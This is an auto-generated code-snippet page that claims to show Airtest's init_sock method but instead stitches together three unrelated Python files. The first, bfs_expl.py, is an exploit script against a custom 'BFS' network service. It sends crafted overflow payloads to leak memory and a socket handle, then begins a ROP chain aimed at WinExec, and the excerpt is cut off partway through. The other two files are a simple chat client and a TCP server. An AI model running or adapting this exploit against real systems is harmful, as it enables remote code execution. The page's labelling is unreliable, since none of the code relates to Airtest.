KaneAI - World’s First E2E Software Testing Agent.Book a Demo Join TestMu Conference

How to use init_sock method in Airtest

Best Python code snippet using Airtest

bfs_expl.py

Source:bfs_expl.py

...7#PAYLOAD_SIZE = 0xF00-0x14 8CONNECTION_COUNT = 09def tohex(val, nbits):10  return hex((val + (1 << nbits)) % (1 << nbits))11def init_sock(bWait=True, iTime=0.2):12	global CONNECTION_COUNT13	s = socket.socket()14	#s.settimeout(3000)15	s.connect(("192.168.213.128", 12321))16	CONNECTION_COUNT = CONNECTION_COUNT + 117	if bWait:18		time.sleep(iTime)19	return s20def echo_hello(msg):21	print("sending hello msg")22	#t = random.uniform(0, 1.5)23	s = init_sock(True)24	25	data = msg	26	27	data_size = len(data)28	header    = b'BFS.' + struct.pack("<L", data_size)29	time.sleep(random.random()+1)30	s.send(header)31	time.sleep(random.random()+1)32	s.send(data)33	time.sleep(random.random()+1)34	buff = s.recv(0x1000)35	if len(buff) == data_size:36		print(buff)37		38	time.sleep(random.random()+1)39	s.close()40	41	return buff42	43def leak_data():44	s = init_sock()45		46	data  = b'\x90' * 0xD047	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'48	data += struct.pack("<L", 0x00000F00)49	# g_stack_depth (DWORD) 50	# g_stack_array (QWORD ARRAY: E1, E2)51	data_size = len(data)52	header    = b'BFS.' + struct.pack("<L", 0xFF)53	s.send(header)54	s.send(data)55	s.recv(0x1000)56	s.close()57	58	s = init_sock()59		60	data  = b'\x90' * 0xD0	61	data_size = len(data)62	#print(data_size)63	header    = b'BFS.' + struct.pack("<L", 0x100)64	s.send(header)65	s.send(data)66	buff = s.recv(0x1000)67	#print(buff)68	s.close()		69		70	return buff[0x100:]71def clean_uninit():	72	s = init_sock()73	data  = b'\x00' * 0x10074	data_size = len(data)75	76	header    = b'BFS.' + struct.pack("<L", 0xFF)77	s.send(header)78	time.sleep(random.random()+0.1)79	s.send(data)80	time.sleep(random.random()+0.1)81	buff = s.recv(0x1000)82	s.close()83	84def clean_uninit2():85	s = init_sock()86	data  = b'\x90' * 0xD087	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'88	data += struct.pack("<L", 0x00000000)89	# g_stack_depth (DWORD) 90	# g_stack_array (QWORD ARRAY: E1, E2)91	data_size = len(data)92	#print(data_size)93	header    = b'BFS.' + struct.pack("<L", 0xFF)94	s.send(header)95	time.sleep(random.random()+0.1)96	s.send(data)97	time.sleep(random.random()+0.1)98	buff = s.recv(0x1000)99	s.close()100def get_msg():101	data = b'https://distintas.net/camila-nicole'102	#padding = b"0x61" * random.randint(0, 0xD0 - len(data))103	#msg = data + padding104	return data105	106def confirm_cleanup():107	print("Attempting to clean the uninit var")108	109	resp = echo_hello(get_msg())110	111	while len(resp) > 0x200:112		print("cleanup-1")113		clean_uninit()114		115		print("cleanup-2")116		clean_uninit2()	117			118		try:			119			resp = echo_hello(get_msg())120		except:121			pass122		123def prepare_for_corruption():124	#for i in range(2):125	s = init_sock()126	data      = b'\x90' * 0xD0127	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'128	data += struct.pack("<L", 0x0000014 + PAYLOAD_SIZE)129	# g_stack_depth (DWORD) 130	# g_stack_array (QWORD ARRAY: E1, E2)131	data_size = len(data)132	#print(data_size)133	header    = b'BFS.' + struct.pack("<L", 0xFF)134	s.send(header)135	time.sleep(0.2)136	s.send(data)137	time.sleep(0.2)138	s.recv(0x1000)139	s.close()140	141	142def prepare_for_socket_leak():	143	s = init_sock()144	data      = b'\xFF' * 0xD0145	data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'146	# 0x21 coz 0xFF is what we're sending in the header147	data += struct.pack("<L", 0x000020) # uninit val 148	# g_stack_depth (DWORD) 149	# g_stack_array (QWORD ARRAY: E1, E2)150	data_size = len(data)151	#print(data_size)152	header    = b'BFS.' + struct.pack("<L", 0xFF)153	s.send(header)154	s.send(data)155	#print(s.recv(0x1000))156	s.close()157	158	159def clean2():160	161	for i in range(2):162		s = init_sock()163		data  = b'\x90' * 0x100164		165		# g_stack_depth (DWORD) 166		# g_stack_array (QWORD ARRAY: E1, E2)167		data_size = len(data)168		#print(data_size)169		header    = b'BFS.' + struct.pack("<L", 0x100)170		s.send(header)171		s.send(data)172		buff = s.recv(0x1000)173		s.close()174		175	for i in range(2):176		s = init_sock()177		data  = b'\x90' * 0x10178		179		# g_stack_depth (DWORD) 180		# g_stack_array (QWORD ARRAY: E1, E2)181		data_size = len(data)182		#print(data_size)183		header    = b'BFS.' + struct.pack("<L", 0x1000)184		s.send(header)185		s.send(data)186		buff = s.recv(0x1000)187		s.close()188		189	190	for i in range(2):191		s = init_sock()192		data  = b'\x90' * 0xD0193		data += b'AAAABBBBCCCCDDDDEEEEFFFFHHHHIIIIJJJJKKKKLLLL'194		data += struct.pack("<L", 0x00000000)195		# g_stack_depth (DWORD) 196		# g_stack_array (QWORD ARRAY: E1, E2)197		data_size = len(data)198		#print(data_size)199		header    = b'BFS.' + struct.pack("<L", 0xFF)200		s.send(header)201		s.send(data)202		buff = s.recv(0x1000)203		s.close()204		205	206def leak_socket():207	s = init_sock()208	209	data = b'C' * 0x100210	data += struct.pack("<L", 0xFFFFFF01) # This is for uninit and also for g_stack_depth211	data += b'C' * (0x120 - len(data))212	213	data_size = len(data)214	header    = b'BFS.' + struct.pack("<L", 0x100)215	s.send(header)	216	s.send(data)217	hexdump.hexdump(s.recv(0x1000))218	s.close()219def exploit(bfsc_base, winexec_addr):220	global CONNECTION_COUNT221	s = init_sock()222	223	# ROP HERE (0x100 max!) (or less) -> change the space above224	FILLER = b'\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE'225	data      = b'\xCC' * 0x100 # SIZE SPECIFIED IN THE HEADER226	227	228	data      += struct.pack("<L", 0xFFFFFF01)229	data      += struct.pack("<Q", 0xC4F3B4B3C4F3B4B3)230	231	#data      += struct.pack("<Q", 0x4242424242424242)232	233	234	rop  = struct.pack("<Q", bfsc_base + 0x684D) # pop rbx ; ret235	...

client.py

Source:client.py

...4import time5import threading6import traceback7from utils.dict import MSG_TEMPLATE, PRESENSE, QUIT8def init_sock():9    """ 10    Initializate tcp/id socket11    """12    s = socket(AF_INET, SOCK_STREAM)13    s.connect(('', 7777))14    return s15T16def receiver(sock):17    """18    start receiver thread19    """20    while True:21        try:22            message = sock.recv(1024)23            message = pickle.loads(message)24            print('from: ',message)25        except Exception as e:26            print('Client error: ', traceback.format_exc())27            sock.close()28            break29def writer(sock):30    """31    start writer thread32    """33    while True:34        message = f'alie: {input()}'35        sock.send(pickle.dumps(message))36def main(sock):37    """38    Start all threads39    """40    write_thread = threading.Thread(target=receiver, args=(sock,))41    write_thread.start()42    receiver_thread = threading.Thread(target=writer, args=(sock,))43    receiver_thread.start()44if __name__ == '__main__':...

tcpServer.py

Source:tcpServer.py

...5		self.addr = (host, port)6		self.buffer = buffer7		self.tcpSocket = None8	9	def init_sock(self):10		self.tcpSocket = socket(AF_INET, SOCK_STREAM)11		self.tcpSocket.bind(self.addr)12		self.tcpSocket.listen(20)13	def communicate(self):14		try:15			while True:16				client_sock , client_addr = self.tcpSocket.accept()17				print('conncet from %s' % (client_addr,))18				while True:19					data = client_sock.recv(self.buffer)20					if not data:21						client_sock.close()22						print('connect end')23						break24					client_sock.send('[%s] : %s' % (ctime(), 'hello'))25					#client_sock.close()26		except (EOFError, KeyboardInterrupt):			27			self.tcpSocket.close()28if __name__ == '__main__':29	ts = TCPServer()30	ts.init_sock()31	ts.communicate()...

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.